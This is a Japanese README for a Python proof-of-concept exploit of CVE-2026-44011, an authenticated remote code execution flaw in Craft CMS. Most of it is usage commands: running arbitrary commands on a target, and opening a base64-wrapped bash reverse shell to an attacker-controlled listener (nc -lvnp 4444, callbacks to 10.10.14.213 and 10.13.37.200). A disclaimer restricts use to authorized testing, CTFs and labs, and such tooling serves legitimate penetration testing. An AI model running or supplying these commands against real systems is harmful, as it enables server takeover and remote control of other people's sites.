
Craft CMSにおけるCVE-2026-44011のPython proof-of-concept。認証済みリモートコード実行を悪用し、コマンド実行とbase64でラップされたリバースシェルペイロードを使用します。
CVE-2026-44011-craft-rce-poc 使用方法
単一コマンド: bash
python3 craft_rce.py -b http://target -u USER -p PASS -c 'id'
リバースシェル (base64でラップされたbash):
nc -lvnp 4444
python3 craft_rce.py -b http://target -u USER -p PASS --revshell 10.10.14.213 4444
ターゲットがコールバックに到達できない場合は、明示的に指定してください:
python3 craft_rce.py -b http://target -u USER -p PASS --revshell 10.13.37.200 4444 -H 10.13.37.200 --listen-port 35509
免責事項
認可されたテスト、CTF、およびラボ環境でのみ使用してください。所有していないシステム、 または明示的なテスト許可を得ていないシステムに対して使用しないでください。